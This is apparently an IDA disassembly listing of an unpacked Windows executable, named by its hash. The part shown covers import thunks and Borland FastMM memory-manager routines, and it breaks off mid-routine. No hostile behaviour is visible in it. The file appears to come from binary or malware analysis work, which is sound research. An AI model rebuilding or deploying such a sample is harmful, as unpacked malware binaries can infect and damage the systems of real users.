;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C35C26AB4D9AC40743C4A462D46010A9

; File Name   :	u:\work\c35c26ab4d9ac40743c4a462d46010a9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	40000000
; Section 1. (virtual address 00001000)
; Virtual size			: 000173EC (  95212.)
; Section size in file		: 000173EC (  95212.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 40001000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_40001000	dd offset dword_40001004 ; DATA	XREF: .text:40006E36o
					; .text:400077E5o ...
dword_40001004	dd 7473060Ah, 676E6972hoff_4000100C	dd offset dword_40001010 ; DATA	XREF: .text:40006AD6o
					; .text:40006ADEo ...
dword_40001010	dd 69570A0Bh, 74536564h, 676E6972hoff_4000101C	dd offset dword_40001068 ; DATA	XREF: .text:40001108o
					; .text:40006E08o ...
		dd 7 dup(0)
		dd offset dword_40001068
		dd 4, 0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40001068	dd 624F5407h, 7463656Ah					; .text:4000103Co ...
off_40001070	dd offset dword_40001074 ; DATA	XREF: .text:4000D6D0o
					; .text:40013185o
dword_40001074	dd 4F540707h, 63656A62h		db 74h
		dd offset dword_40001068
		align 4
dword_40001084	dd 6000000h, 74737953h,	6D65h, 244483CCh, 0D9E9F804h, 83000051h
					; DATA XREF: .text:off_400010B1o
		dd 0F8042444h, 51F7E9h,	24448300h, 1E9F804h, 0CC000052h
		db 0CCh
off_400010B1	dd offset dword_40001084+0Dh ; DATA XREF: .text:400010D1o
		dd offset dword_40001084+17h
		dd offset dword_40001084+21h
byte_400010BD	db 1, 2	dup(0)		; DATA XREF: .text:400010E4o
		dd 2 dup(0)
		dd 0C000h, 0
		db 46h
		dd offset off_400010B1
		db 8, 2	dup(0)
		align 10h
off_400010E0	dd offset dword_4000112C ; DATA	XREF: .text:40007930o
		dd offset byte_400010BD
		dd 6 dup(0)
		dd offset dword_4000112C
		dd 0Ch
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset sub_40006248
		dd offset sub_40006254
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40006264
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000112C	dd 6E495411h, 66726574h, 64656361h, 656A624Fh, 0C08B7463h
					; DATA XREF: .text:off_400010E0o
					; .text:40001100o

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001140	proc near		; CODE XREF: sub_4000314C+4p
					; .text:40003308p
		jmp	ds:dword_400244AC
sub_40001140	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001148	proc near		; CODE XREF: .text:40003204p
					; sub_40003644+9Bp
		jmp	ds:dword_400244A8
sub_40001148	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001150	proc near		; CODE XREF: .text:400032EDp
		jmp	ds:dword_400244A4
sub_40001150	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001158	proc near		; CODE XREF: .text:40003228p
		jmp	ds:dword_400244A0
sub_40001158	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001160	proc near		; CODE XREF: .text:loc_400032D7p
					; sub_40003644:loc_400036FFp ...
		jmp	ds:dword_4002449C
sub_40001160	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001168	proc near		; CODE XREF: sub_40003FE8+14p
					; sub_40004004+16p ...
		jmp	ds:dword_40024498
sub_40001168	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001170	proc near		; CODE XREF: sub_400030D0+1Ep
					; .text:40003265p
		jmp	ds:dword_40024494
sub_40001170	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001178	proc near		; CODE XREF: sub_400040D8+D2p
					; .text:40004470p
					; DATA XREF: ...
		jmp	ds:dword_40024490
sub_40001178	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001180	proc near		; CODE XREF: .text:4000329Cp
		jmp	ds:dword_4002448C
sub_40001180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001188	proc near		; CODE XREF: .text:40003244p
					; .text:4000328Ep
		jmp	ds:dword_40024488
sub_40001188	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001190	proc near		; CODE XREF: sub_400040D8+6Ap
					; sub_400040D8+A7p ...
		jmp	ds:dword_40024484
sub_40001190	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001198	proc near		; CODE XREF: sub_40003110+1Fp
					; sub_40004704+3Fp ...
		jmp	ds:dword_40024480
sub_40001198	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011A0	proc near		; CODE XREF: sub_40002EFC+Cp
					; sub_40002EFC+3Ap ...
		jmp	ds:dword_4002440C
sub_400011A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011A8	proc near		; CODE XREF: sub_40004790+C0p
		jmp	ds:dword_4002447C
sub_400011A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011B0	proc near		; CODE XREF: sub_40002540+39Ep
					; sub_40004704+78p
		jmp	ds:dword_40024408
sub_400011B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011B8	proc near		; CODE XREF: sub_40005C60+123p
		jmp	ds:dword_40024478
sub_400011B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011C0	proc near		; CODE XREF: sub_40005C60+111p
		jmp	ds:dword_40024474
sub_400011C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011C8	proc near		; CODE XREF: sub_40004790+88p
		jmp	ds:dword_40024470
sub_400011C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011D0	proc near		; CODE XREF: sub_40002FF8:loc_4000302Ep
					; .itext:4001906Cp
		jmp	ds:dword_4002446C
sub_400011D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011D8	proc near		; CODE XREF: sub_40002D8Cp
					; sub_400030D0+27p ...
		jmp	ds:dword_40024468
sub_400011D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011E0	proc near		; CODE XREF: sub_40005E24+12Fp
		jmp	ds:dword_40024464
sub_400011E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011E8	proc near		; CODE XREF: sub_40002FF8+24p
					; sub_40005BC0+1Ep ...
		jmp	ds:dword_40024460
sub_400011E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011F0	proc near		; CODE XREF: sub_40005C60+1Dp
		jmp	ds:dword_4002445C
sub_400011F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400011F8	proc near		; CODE XREF: sub_40005C60+34p
		jmp	ds:dword_40024458
sub_400011F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001200	proc near		; CODE XREF: sub_400012A0+Ap
		jmp	ds:dword_40024454
sub_40001200	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001208	proc near		; CODE XREF: sub_40005E24+129p
		jmp	ds:dword_40024450
sub_40001208	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001210	proc near		; CODE XREF: sub_40005E24+1B1p
					; sub_40005E24+1E9p ...
		jmp	ds:dword_4002444C
sub_40001210	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001218	proc near		; CODE XREF: sub_400062F0+32p
		jmp	ds:dword_40024404
sub_40001218	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001220	proc near		; CODE XREF: sub_40005C60+64p
					; sub_40005C60+C8p ...
		jmp	ds:dword_40024448
sub_40001220	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001228	proc near		; CODE XREF: sub_40005C60+12Fp
					; sub_40005C60+16Fp ...
		jmp	ds:dword_40024444
sub_40001228	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001230	proc near		; CODE XREF: sub_400049C4+12p
		jmp	ds:dword_40024440
sub_40001230	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001238	proc near		; CODE XREF: sub_40003B94+6Bp
					; sub_40005E24+FFp
		jmp	ds:dword_400243F4
sub_40001238	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001240	proc near		; CODE XREF: sub_40003B94+22p
					; sub_40005E24+3Ap ...
		jmp	ds:dword_400243F0
sub_40001240	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001248	proc near		; CODE XREF: sub_40003B94+55p
					; sub_40005E24+BFp ...
		jmp	ds:dword_400243EC
sub_40001248	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001250	proc near		; CODE XREF: sub_400049A4+16p
		jmp	ds:dword_4002443C
sub_40001250	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001258	proc near		; CODE XREF: sub_40002208+39p
					; sub_40005B98+Bp
		jmp	ds:dword_40024438
sub_40001258	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001260	proc near		; CODE XREF: sub_40004FE0+7p
					; sub_400050F8+Bp
		jmp	ds:dword_400243E4
sub_40001260	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001268	proc near		; CODE XREF: sub_40005044+1Ap
		jmp	ds:dword_400243E0
sub_40001268	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001270	proc near		; CODE XREF: sub_40004FF8+7p
					; sub_40005008+Ep ...
		jmp	ds:dword_400243DC
sub_40001270	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001278	proc near		; CODE XREF: .text:400062A6p
		jmp	ds:dword_40024434
sub_40001278	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001280	proc near		; CODE XREF: sub_40006248+4p
					; .text:400062BCp
		jmp	ds:dword_40024430
sub_40001280	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001288	proc near		; CODE XREF: .itext:4001908Ap
		jmp	ds:dword_4002442C
sub_40001288	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001290	proc near		; CODE XREF: sub_40003058+4p
		jmp	ds:dword_40024428
sub_40001290	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40001298	proc near		; CODE XREF: sub_40003058:loc_40003070p
		jmp	ds:dword_40024424
sub_40001298	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400012A0	proc near		; CODE XREF: .itext:40019076p

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_40001200	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_400012BB
		movzx	ebx, [esp+48h+var_18]


loc_400012BB:				; CODE XREF: sub_400012A0+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_400012A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400012C4	proc near		; CODE XREF: sub_400015DC+16p
					; sub_40001694+20p ...
		jmp	ds:dword_40024420
sub_400012C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400012CC	proc near		; CODE XREF: sub_400016F8+1Cp
					; sub_40001A9C+190p ...
		jmp	ds:dword_4002441C
sub_400012CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400012D4	proc near		; CODE XREF: sub_40001654+Dp
					; sub_40001654+26p ...
		jmp	ds:dword_40024418
sub_400012D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400012DC	proc near		; CODE XREF: sub_40002BB4+Fp
		jmp	ds:dword_40024400
sub_400012DC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 57h
aFastmmBorlandE	db 'FastMM Borland Edition © 2004, 2005 Pierre le Riche / Professiona'
					; DATA XREF: .data:off_4001A040o
		db 'l Software Development',0

; =============== S U B	R O U T	I N E =======================================



sub_40001344	proc near		; CODE XREF: sub_40001654+1Bp
					; sub_40001654+34p ...
		lock cmpxchg [ecx], dl
		retn
sub_40001344	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000134C	proc near		; DATA XREF: .data:off_4001A060o
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	ecx, [eax+4]
		mov	eax, [eax+8]
		mov	[edx+4], ecx
		mov	[edx+8], eax
		retn
sub_4000134C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40001360	proc near		; DATA XREF: .data:4001A080o
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		mov	ecx, [eax+0Ch]
		mov	eax, [eax+10h]
		mov	[edx+0Ch], ecx
		mov	[edx+10h], eax
		retn
sub_40001360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40001380	proc near		; DATA XREF: .data:4001A0A0o
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		mov	ecx, [eax+0Ch]
		mov	[edx+0Ch], ecx
		mov	ecx, [eax+10h]
		mov	[edx+10h], ecx
		mov	ecx, [eax+14h]
		mov	eax, [eax+18h]
		mov	[edx+14h], ecx
		mov	[edx+18h], eax
		retn
sub_40001380	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400013AC	proc near		; DATA XREF: .data:4001A0C0o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		mov	ecx, [eax+20h]
		mov	[edx+20h], ecx
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_400013AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400013CC	proc near		; DATA XREF: .data:4001A0E0o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		fild	qword ptr [eax+20h]
		mov	ecx, [eax+28h]
		mov	[edx+28h], ecx
		fistp	qword ptr [edx+20h]
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_400013CC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400013F0	proc near		; DATA XREF: .data:4001A100o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		fild	qword ptr [eax+20h]
		fild	qword ptr [eax+28h]
		mov	ecx, [eax+30h]
		mov	[edx+30h], ecx
		fistp	qword ptr [edx+28h]
		fistp	qword ptr [edx+20h]
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_400013F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000141C	proc near		; DATA XREF: .data:4001A120o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		fild	qword ptr [eax+20h]
		fild	qword ptr [eax+28h]
		fild	qword ptr [eax+30h]
		mov	ecx, [eax+38h]
		mov	[edx+38h], ecx
		fistp	qword ptr [edx+30h]
		fistp	qword ptr [edx+28h]
		fistp	qword ptr [edx+20h]
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_4000141C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000144C	proc near		; DATA XREF: .data:4001A140o
		fild	qword ptr [eax]
		fild	qword ptr [eax+8]
		fild	qword ptr [eax+10h]
		fild	qword ptr [eax+18h]
		fild	qword ptr [eax+20h]
		fild	qword ptr [eax+28h]
		fild	qword ptr [eax+30h]
		fild	qword ptr [eax+38h]
		mov	ecx, [eax+40h]
		mov	[edx+40h], ecx
		fistp	qword ptr [edx+38h]
		fistp	qword ptr [edx+30h]
		fistp	qword ptr [edx+28h]
		fistp	qword ptr [edx+20h]
		fistp	qword ptr [edx+18h]
		fistp	qword ptr [edx+10h]
		fistp	qword ptr [edx+8]
		fistp	qword ptr [edx]
		retn
sub_4000144C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40001484	proc near		; CODE XREF: sub_40001C7C+2D8p
					; sub_40001C7C+32Fp
					; DATA XREF: ...
		sub	ecx, 0Ch
		add	eax, ecx
		add	edx, ecx
		neg	ecx
		jns	short loc_400014A2


loc_4000148F:				; CODE XREF: sub_40001484+1Cj
		fild	qword ptr [ecx+eax]
		fild	qword ptr [ecx+eax+8]
		fistp	qword ptr [ecx+edx+8]
		fistp	qword ptr [ecx+edx]
		add	ecx, 10h
		js	short loc_4000148F


loc_400014A2:				; CODE XREF: sub_40001484+9j
		fild	qword ptr [ecx+eax]
		fistp	qword ptr [ecx+edx]
		mov	eax, [ecx+eax+8]
		mov	[ecx+edx+8], eax
		retn
sub_40001484	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400014B4	proc near		; CODE XREF: sub_40001C7C+41p
					; sub_40001C7C+1A5p ...
		sub	ecx, 4
		add	eax, ecx
		add	edx, ecx
		neg	ecx


loc_400014BD:				; CODE XREF: sub_400014B4+12j
		fild	qword ptr [ecx+eax]
		fistp	qword ptr [ecx+edx]
		add	ecx, 8
		js	short loc_400014BD
		mov	eax, [ecx+eax]
		mov	[ecx+edx], eax
		retn
sub_400014B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400014D0	proc near		; CODE XREF: sub_40001570+4Cp
					; sub_40001A9C+148p ...
		mov	ecx, [eax+4]
		mov	edx, [eax]
		cmp	ecx, edx
		mov	[ecx], edx
		mov	[edx+4], ecx
		jz	short loc_400014E0

locret_400014DE:			; CODE XREF: sub_400014D0+2Cj
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_400014E0:				; CODE XREF: sub_400014D0+Cj
		sub	ecx, offset off_4001C7A8
		mov	edx, ecx
		shr	ecx, 3
		movzx	edx, dh
		mov	eax, 0FFFFFFFEh
		rol	eax, cl
		and	ds:dword_4001C728[edx*4], eax
		jnz	short locret_400014DE
		mov	eax, 0FFFFFFFEh
		mov	ecx, edx
		rol	eax, cl
		and	ds:dword_4001C724, eax
		retn
sub_400014D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40001510	proc near		; CODE XREF: sub_40001570+33j
					; sub_40001734+17Dp ...
		sub	edx, 0B30h
		shr	edx, 8
		sub	edx, 3FFh
		sbb	ecx, ecx
		and	edx, ecx
		add	edx, 3FFh
		lea	ecx, off_4001C7A8[edx*8]
		mov	edx, [ecx+4]
		cmp	edx, ecx
		mov	[eax], ecx
		mov	[eax+4], edx
		mov	[edx], eax
		mov	[ecx+4], eax
		jz	short loc_40001544
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001544:				; CODE XREF: sub_40001510+2Fj
		sub	ecx, offset off_4001C7A8
		mov	edx, ecx
		shr	ecx, 3
		movzx	edx, dh
		mov	eax, 1
		shl	eax, cl
		or	ds:dword_4001C728[edx*4], eax
		mov	eax, 1
		mov	ecx, edx
		shl	eax, cl
		or	ds:dword_4001C724, eax
		retn
sub_40001510	endp


; =============== S U B	R O U T	I N E =======================================



sub_40001570	proc near		; CODE XREF: sub_400015DC+3p
					; sub_40001A9C+1A6p
		cmp	ds:dword_4001C720, 0
		jnz	short loc_4000157C
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4000157C:				; CODE XREF: sub_40001570+7j
		mov	eax, ds:dword_4001C71C
		test	byte ptr [eax-4], 1
		jnz	short loc_400015AC
		or	dword ptr [eax-4], 8
		mov	edx, ds:dword_4001C720
		sub	eax, edx


loc_40001593:				; CODE XREF: sub_40001570+68j
		lea	ecx, [edx+3]
		mov	[eax-4], ecx
		mov	[edx+eax-8], edx
		cmp	edx, 0B30h
		jnb	sub_40001510
		retn
; ---------------------------------------------------------------------------
		align 4


loc_400015AC:				; CODE XREF: sub_40001570+15j
		mov	edx, 0FFFFFFF0h
		and	edx, [eax-4]
		cmp	edx, 0B30h
		jb	short loc_400015CE
		call	sub_400014D0
		mov	eax, ds:dword_4001C71C
		mov	edx, 0FFFFFFF0h
		and	edx, [eax-4]


loc_400015CE:				; CODE XREF: sub_40001570+4Aj
		mov	ecx, ds:dword_4001C720
		sub	eax, ecx
		add	edx, ecx
		jmp	short loc_40001593
sub_40001570	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400015DC	proc near		; CODE XREF: sub_40001734+1BEp
					; sub_40001734+2DAp
		push	ebx
		mov	ebx, eax
		call	sub_40001570
		push	4
		push	1000h
		push	140000h
		push	0
		call	sub_400012C4	; VirtualAlloc
		test	eax, eax
		jz	short loc_40001648
		mov	edx, ds:dword_4001C70C
		mov	ecx, eax
		mov	dword ptr [ecx], offset	dword_4001C708
		mov	ds:dword_4001C70C, eax
		mov	[ecx+4], edx
		mov	[edx], eax
		mov	edx, eax
		add	edx, 140000h
		mov	ecx, edx
		sub	ecx, 4
		mov	dword ptr [ecx], 2
		mov	ecx, 13FFF0h
		sub	ecx, ebx
		mov	ds:dword_4001C720, ecx
		sub	edx, ebx
		mov	eax, edx
		mov	ds:dword_4001C71C, eax
		or	ebx, 2
		mov	edx, eax
		sub	edx, 4
		mov	[edx], ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001648:				; CODE XREF: sub_400015DC+1Dj
		xor	eax, eax
		mov	ds:dword_4001C720, eax
		xor	eax, eax
		pop	ebx
		retn
sub_400015DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40001654	proc near		; CODE XREF: sub_40001694+36p
					; sub_400016F8+8p
		cmp	ds:byte_4001C04D, 0
		jz	short locret_40001691
		jmp	short loc_4000167F
; ---------------------------------------------------------------------------


loc_4000165F:				; CODE XREF: sub_40001654+3Bj
		push	0
		call	sub_400012D4	; Sleep
		mov	ecx, offset byte_4001E7A8
		mov	dl, 1
		xor	eax, eax
		call	sub_40001344
		test	al, al
		jz	short locret_40001691
		push	0Ah
		call	sub_400012D4	; Sleep


loc_4000167F:				; CODE XREF: sub_40001654+9j
		mov	ecx, offset byte_4001E7A8
		mov	dl, 1
		xor	eax, eax
		call	sub_40001344
		test	al, al
		jnz	short loc_4000165F

locret_40001691:			; CODE XREF: sub_40001654+7j
					; sub_40001654+22j
		retn
sub_40001654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40001694	proc near		; CODE XREF: sub_40001734+35Fj
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, eax
		lea	esi, [ebp+10010h]
		dec	esi
		add	esi, 4
		and	esi, 0FFFF0000h
		push	4
		push	101000h
		push	esi
		push	0
		call	sub_400012C4	; VirtualAlloc
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_400016EF
		mov	edi, ebx
		mov	[edi+8], ebp
		or	esi, 4
		mov	[edi+0Ch], esi
		call	sub_40001654
		mov	eax, ds:dword_4001E7B0
		mov	dword ptr [edi], offset	dword_4001E7AC
		mov	ds:dword_4001E7B0, ebx
		mov	[edi+4], eax
		mov	[eax], ebx
		mov	ds:byte_4001E7A8, 0
		add	ebx, 10h


loc_400016EF:				; CODE XREF: sub_40001694+29j
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40001694	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400016F8	proc near		; CODE XREF: sub_40001A9C+1D4j
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		sub	ebx, 10h
		call	sub_40001654
		mov	eax, ebx
		mov	esi, [eax]
		mov	edi, [eax+4]
		push	8000h
		push	0
		push	ebx
		call	sub_400012CC	; VirtualFree
		test	eax, eax
		jz	short loc_40001726
		mov	[edi], esi
		mov	[esi+4], edi
		xor	eax, eax
		jmp	short loc_40001729
; ---------------------------------------------------------------------------


loc_40001726:				; CODE XREF: sub_400016F8+23j
		or	eax, 0FFFFFFFFh


loc_40001729:				; CODE XREF: sub_400016F8+2Cj
		mov	ds:byte_4001E7A8, 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400016F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40001734	proc near		; CODE XREF: sub_40001C7C+30p
					; sub_40001C7C+66p ...
		lea	edx, [eax+3]
		shr	edx, 3
		cmp	eax, 0A2Ch
		push	ebx
		mov	cl, ds:byte_4001C04D
		ja	loc_40001978
		test	cl, cl
		movzx	eax, ds:byte_4001C5C0[edx]
		lea	ebx, byte_4001A044[eax*8]
		jnz	short loc_400017B4


loc_4000175E:				; CODE XREF: sub_40001734+89j
					; sub_40001734+97j ...
		mov	edx, [ebx+4]
		mov	eax, [edx+8]
		mov	ecx, 0FFFFFFF8h
		cmp	edx, ebx
		jz	short loc_40001784
		add	dword ptr [edx+0Ch], 1
		and	ecx, [eax-4]
		mov	[edx+8], ecx
		mov	[eax-4], edx
		jz	short loc_400017A4
		mov	byte ptr [ebx],	0
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001784:				; CODE XREF: sub_40001734+37j
		mov	edx, [ebx+10h]
		movzx	ecx, word ptr [ebx+2]
		add	ecx, eax
		cmp	eax, [ebx+0Ch]
		ja	short loc_40001800
		add	dword ptr [edx+0Ch], 1
		mov	[ebx+8], ecx
		mov	byte ptr [ebx],	0
		mov	[eax-4], edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_400017A4:				; CODE XREF: sub_40001734+46j
		mov	ecx, [edx+4]
